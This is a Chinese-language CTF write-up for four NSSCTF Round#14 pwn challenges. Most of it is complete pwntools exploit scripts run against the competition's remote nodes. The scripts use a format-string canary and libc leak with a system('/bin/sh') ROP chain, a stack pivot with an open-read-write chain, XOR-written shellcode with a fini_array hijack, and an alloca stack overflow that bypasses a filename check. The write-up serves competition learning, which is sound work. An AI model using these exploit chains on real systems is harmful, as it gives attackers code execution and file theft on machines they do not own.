NSSCTF Round#14 Basic. 部分wp

love:

格式化字符串泄露canary和libc
官方给的是覆盖TLS上的canary,因为使用了gets
exp:

from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

io=remote("node4.anna.nssctf.cn",28310)
# io=process("./pwn")
libc=ELF("./libc.so.6")

# gdb.attach(io)
# pause()

pop_rdi=0x4013f3
ret=0x40101a

io.recvuntil(b"Toka\n\n")
# payload="%15$p.%17$p.%486c%9$n"  #520-18-14-2   
payload="%520c%9$n.%15$p.%17$p"
io.send(payload)

# gdb.attach(io)
# pause()

io.recvuntil(b".")
canary=int(io.recv(18),16)
io.recvuntil(b".")
leak_addr=int(io.recv(14),16)-libc.sym[b"__libc_start_main"]-243
sys_addr=leak_addr+libc.sym[b"system"]
sh_addr=leak_addr+next(libc.search(b"/bin/sh"))

print("canary: ",hex(canary))
print("leak_addr: ",hex(leak_addr))

payload=cyclic(0x28)+p64(canary)+p64(0)+p64(ret)+p64(pop_rdi)+p64(sh_addr)+p64(sys_addr)
io.sendlineafter(b"vel\n\n",payload)

io.interactive()

rbp:

栈迁移+orw:
exp:

from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

# io=process("./rbp")
io=remote("node2.anna.nssctf.cn",28341)
elf=ELF("./rbp")
libc=ELF("./libc-2.31.so")

pop_rdi=0x401353
leave_ret=0x40121d
read_text=0x401292
puts_got=elf.got[b"puts"]
puts_plt=elf.plt[b"puts"]

payload=cyclic(0x210)+p64(0x404910)+p64(read_text)
io.sendafter(b"try it\n",payload)


payload=p64(0)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(0x401270)
payload=payload.ljust(0x210,b"a")+p64(0x404910-0x210)+p64(leave_ret)
io.send(payload)

leak_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-libc.sym[b"puts"]
print("leak_addr: "+hex(leak_addr))

open_a=leak_addr+libc.sym[b"open"]
read_a=leak_addr+libc.sym[b"read"]
write_a=leak_addr+libc.sym[b"write"]
pop_rsi=leak_addr+0x2601f
pop_rdx=leak_addr+0x142c92

# gdb.attach(io)
# pause()

payload=cyclic(0x210)+p64(0x404498)+p64(read_text)
io.sendafter(b"try it\n",payload)

#open
orw=b"/flag\x00\x00\x00"+p64(pop_rdi)+p64(0x404288)+p64(pop_rsi)+p64(0)+p64(open_a)
#read
orw+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(0x404a00)+p64(pop_rdx)+p64(0x50)+p64(read_a)
#write
orw+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(0x404a00)+p64(pop_rdx)+p64(0x50)+p64(write_a)

orw=orw.ljust(0x210,b"a")+p64(0x404490-0x208)+p64(leave_ret)
io.send(orw)

io.interactive()

xor:

存在xor每次只能异或一个字节,但是最开始有flag判断
flag初值为0,函数进入条件小于等于0
需要通过第一次异或将flag的符号位覆盖为0xff即可绕过
后面向rwx段写shellcode,最后劫持fini_array指针到shellcode处即可
exp:

from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

# io=process("./pwn")
io=remote("node4.anna.nssctf.cn",28981)
libc=ELF("./libc.so.6")

def xorenc(addr,val):
    io.sendlineafter(b"addr: ",addr)
    io.sendlineafter(b"value: ",val)    

# gdb.attach(io)
# pause()

pop_rdi=0x2a3e5 
flag=0x600bcc
fini_array=0x600970
sc_addr=0x600d00  # xor 0x400610  20 0B10

xorenc(hex(flag+3).encode(),b"0xff")
xorenc(hex(fini_array).encode(),b"0x10")
xorenc(hex(fini_array+1).encode(),b"0x0b")
xorenc(hex(fini_array+2).encode(),b"0x20")

shellcode=asm(shellcraft.sh())
for i in range(len(shellcode)):
    xorenc(hex(sc_addr+i),hex(shellcode[i]).encode())

xorenc(hex(flag+3).encode(),b"0xff") #trigger

io.interactive()

read_file:

第一次输入远端除去含flag字串的文件名使得file_flag为真从而能进入read_file函数
远端flag.txt 8字节可以让file_fd覆盖为0,使fd=0,read从键盘输入
read_file里面输入length时调用alloca()在栈上分配空间,使得后续可以栈溢出
此时file_name为flag.txt,通过load_file函数加上偏移直接跳转到
file_fd = open(file_name, 0, 0LL);从而绕过flag字串判断
第一个ret使得程序正常跳转到最read_file,第二个ret平衡栈
exp:

from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

io=process("./pwn")
# io=remote("node2.anna.nssctf.cn",28565)

load_text=0x401493
leak=0x4014ee
ret=0x40101a

io.sendlineafter(b">> ",b"1")
io.sendlineafter(b"file_name : ",b".")

io.sendlineafter(b">> ",b"1")
io.sendlineafter(b"file_name : ",b"flag.txt")


io.sendlineafter(b">> ",b"2")
io.sendlineafter(b"file_content_length : ",b"1")
io.recvuntil(b"read more \n")

gdb.attach(io)
pause()

payload=cyclic(0x18)+p64(load_text)+p64(ret)*2+p64(leak)
io.send(payload)

io.sendlineafter(b"file_content_length : ",b"1")

io.interactive()